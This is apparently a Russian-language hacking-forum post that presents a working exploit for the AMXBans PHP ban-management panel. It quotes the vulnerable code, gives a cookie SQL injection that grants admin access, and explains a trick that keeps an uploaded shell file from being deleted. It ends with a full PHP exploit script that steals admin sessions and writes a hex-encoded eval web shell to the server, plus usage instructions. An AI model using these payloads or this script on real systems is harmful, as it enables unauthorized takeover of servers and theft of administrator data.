$mysql = mysql_connect($config->db_host,$config->db_user,$config->db_pass) or die (mysql_error());
$resource = mysql_select_db($config->db_db) or die (mysql_error());
$query = mysql_query("SELECT id,username,level,email FROM `".$config->db_prefix."_webadmins` WHERE logcode='".$sid."' LIMIT 1") or die (mysql_error());
if(mysql_num_rows($query)) {
while($result = mysql_fetch_object($query)) {
echo $_SESSION***91;"uid"***93;=$result->id;
echo $_SESSION***91;"uname"***93;=$result->username;
$_SESSION***91;"email"***93;=$result->email;
echo $_SESSION***91;"level"***93;=$result->level;
$_SESSION***91;"sid"***93;=session_id();
$_SESSION***91;"loggedin"***93;=true;
}
$query = mysql_query("SELECT * FROM `".$config->db_prefix."_levels` WHERE level=".$_SESSION***91;"level"***93;." LIMIT 1") or die (mysql_error());
while($result = mysql_fetch_object($query)) {
$_SESSION***91;'bans_add'***93; = $result->bans_add;
$_SESSION***91;'bans_edit'***93; = $result->bans_edit;
$_SESSION***91;'bans_delete'***93; = $result->bans_delete;
$_SESSION***91;'bans_unban'***93; = $result->bans_unban;
$_SESSION***91;'bans_import'***93; = $result->bans_import;
$_SESSION***91;'bans_export'***93; = $result->bans_export;
$_SESSION***91;'amxadmins_view'***93; = $result->amxadmins_view;
$_SESSION***91;'amxadmins_edit'***93; = $result->amxadmins_edit;
$_SESSION***91;'webadmins_view'***93; = $result->webadmins_view;
$_SESSION***91;'webadmins_edit'***93; = $result->webadmins_edit;
$_SESSION***91;'websettings_view'***93; = $result->websettings_view;
$_SESSION***91;'websettings_edit'***93; = $result->websettings_edit;
$_SESSION***91;'permissions_edit'***93; = $result->permissions_edit;
$_SESSION***91;'prune_db'***93; = $result->prune_db;
$_SESSION***91;'servers_edit'***93; = $result->servers_edit;
$_SESSION***91;'ip_view'***93; = $result->ip_view;
}
}
Как видим, никак не проверяется параметр COOKIE, выполняется запрос к БД, в ходе которого мы получаем в сессии данные админа/етц. $config->cookie в 99% случаев расна дефолтному: amxbans. Разделение идет через ":", из чего строим простой запрос:
Target:
Цитата:
/include/access.inc.php
Передаем в Cookies:
Код:
Cookie: amxbans=' or id=1+union+select+1,2,1,4 -- 1
Передать нужно именно эти данные, именно в таком порядке.Переходим на индекс - мы админы.
+ Данные админов можно читать, шлем запрос с ид нужного админа, получаем его данные в бд, и далее идем на страницу любого бана, и пытаемся отписать комментарий( включить в админке) - в поле E-mail Вывод. так же вывод в правом верхнем углу экрана, рядом с кнопкой админки.
+ Уязвимость будет существовать даже при MQ=on, так как в config.php(который подрубается в таргете):
Загрузка файлов есть, но после загрузки и занесения значений в БД, файл удаляется.И файл заливается только с расширениями .cfg or .txt Внимательно присмотревшись к коду, находим строчки:
PHP код:
if(trim($bans***91;0***93;)=="banid") {
//ban with steamid
if(!preg_match("/^STEAM_0:(0|1):***91;0-9***93;{1,18}/",$steamid)) { $status***91;"failed"***93;++; continue;}
//search for a already existing permanent ban
$query = mysql_query("SELECT `player_id` FROM `".$config->db_prefix."_bans` WHERE `player_id`='".$steamid."' AND `expired`=0") or die (mysql_error());
if(mysql_num_rows($query)) {$status***91;"failed"***93;++; continue;}
//write ban to db
$status***91;"imported"***93;++;
$query = mysql_query("INSERT INTO `".$config->db_prefix."_bans`
(`player_id`,`player_nick`,`admin_nick`,`ban_type` ,`ban_reason`,`ban_created`,`ban_length`,`server_n ame`,`imported`)
VALUES
('".$steamid."','".$plnick."','".$_SESSION***91;"uname"***93;."','S','".$reason_real."',".$date.",".$time.",'".$server."',1)
") or die (mysql_error());
Как видим, если условие if выполняется верно, то производиться SQL-запрос, в котором используется ничем не фильтруемая переменная _SESSION[uname], которую мы можем произвольно изменять. Возвращаемся к получению админских прав, и посылаем заместо старого запроса, немного модернизированный:
Код:
Cookie: amxbans=' or id=1+union+select+1,0x27,1,4 -- 1
Именно 2 поле является значением _SESSION[uname], мы запхиываем туда захексеную кавычку, ибо переменная _SESSION в отличии от остальных HTTP переменных не стипслешиться принудительно. Получаем при любых настрйоках сервера, в uname='
Следующим шагом, необходимо выполнить условие в if, что бы наша переменная встала в запрос, ивызвала критичискую ошибку. Код шелла будет выглядеться примерно так:
Первая строка шелла так-же проходит preg_match() проверку, и уже после этого, наша ядовитая переменная [uname]=' попадает в SQL запрос, вызывая ошибку кода, соответственно, код который удаляет файл после работы - не выполниться, и мы получим полный код своего шелла в файле, с тем же именем, что и при загрузке.
Минус соответственно в том, что не все серверы настроены таким образом, что бы отбрасывать неизвестное расширение, и воспроизводить последнее известное. Не помню как этот мод называется, мод_mime, или как то так.
В случае загрузки шелла через скулю, мы получаем полноценный шелл, но мало где у юзверей mysql есть права на работу с ФС.
$upload = curl($host . '/admin.php?modul=iexport', $s,$v, $post, $match***91;0***93;);
if (stristr($upload, 'You have an error')) {
return(die("\r\nYou shell: " . $host . "/temp/" . basename($path)));
}else{
return(die("\r\nI think, MQ=ON. Good bye."));
}
}
function AUviaSQL(){
global $host,$path;
$get = curl($host.'/login.php',$s,$v,'user***91;***93;=&pass***91;***93;=&action=Login');
preg_match('#given in (.*?) on#',$get,$match);
$path = str_replace(array('\\\\','//'),'',str_replace(array('include','functions.inc.p hp'),'',strip_tags(trim($match***91;1***93;)))).'/include/files/'.md5(rand(1,100)).'_1.php';
$cookie = "amxbans=' or id=1+union+select+1,unhex(0x3c3f706870206576616c28 7374726970736c617368657328245f524551554553545b7065 775d29293b203f3e),1,4 into outfile '$path' -- 3";
$page = curl($host . '/include/access.inc.php', $s,$v, false, $cookie);
if(stristr($page,"mysql_num_rows")){
return(die("\r\nYou shell uploaded! Get: $path?pew=system('dir');"));
}elseif(stristr($page,"Can't")){
return(die("\r\nPermission Denied :( May be file_priv=Y"));
}else{
return(die("\r\nWtf?! Error"));
}
}
function GetAminData(){
global $host;
$cookie = "amxbans=' or id=1+union+select+1,2,1,4 -- 1";
$page = curl($host . '/include/access.inc.php', $s,$v, false, $cookie);
preg_match('#PHPSESSID=(.*?);#', $page, $match);
return(die("\r\nOk! Session: ".$match***91;0***93;));
}
function curl($url, $socks = false, $version = 5, $post = false, $cookie = false)
{
$ch = curl_init(); // инициализируем Curl
curl_setopt($ch, CURLOPT_URL, $url); // открываемая страница
curl_setopt($ch, CURLOPT_TIMEOUT, 20);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // вернуть ответ сервера в переменную, а не выводить
// Работа через прокси
if ($socks) {
curl_setopt($ch, CURLOPT_PROXYTYPE, ($version = 5 ? CURLPROXY_SOCKS5 :
CURLPROXY_SOCKS4));
curl_setopt($ch, CURLOPT_PROXY, $socks);
}
if ($post) {
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
}
if ($cookie) {
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
}
$page = curl_exec($ch);
curl_close($ch);
return ($page);
}
?>
Первый - Получение админских прав, и вывод сессии юзера. Если вам просто нужно попасть в админку, подставляем полученное значение в куки.
Второй - загрузка шелла через SQL-inj, если позволяют права юзера mysql(file_priv=Y). Сама определяет полный путь до DOCUMENT_ROOT, и пытается загрузить шелл в папку с юзерскими файлами.
Третий - загрузка шелла описанным выше способом, через импорт банов. В конце работы выводит ссылку на шелл.
Exm:
Цитата:
>php exp.php [Ссылки могут видеть только зарегистрированные пользователи. ] 2 D:/shell.php.cfg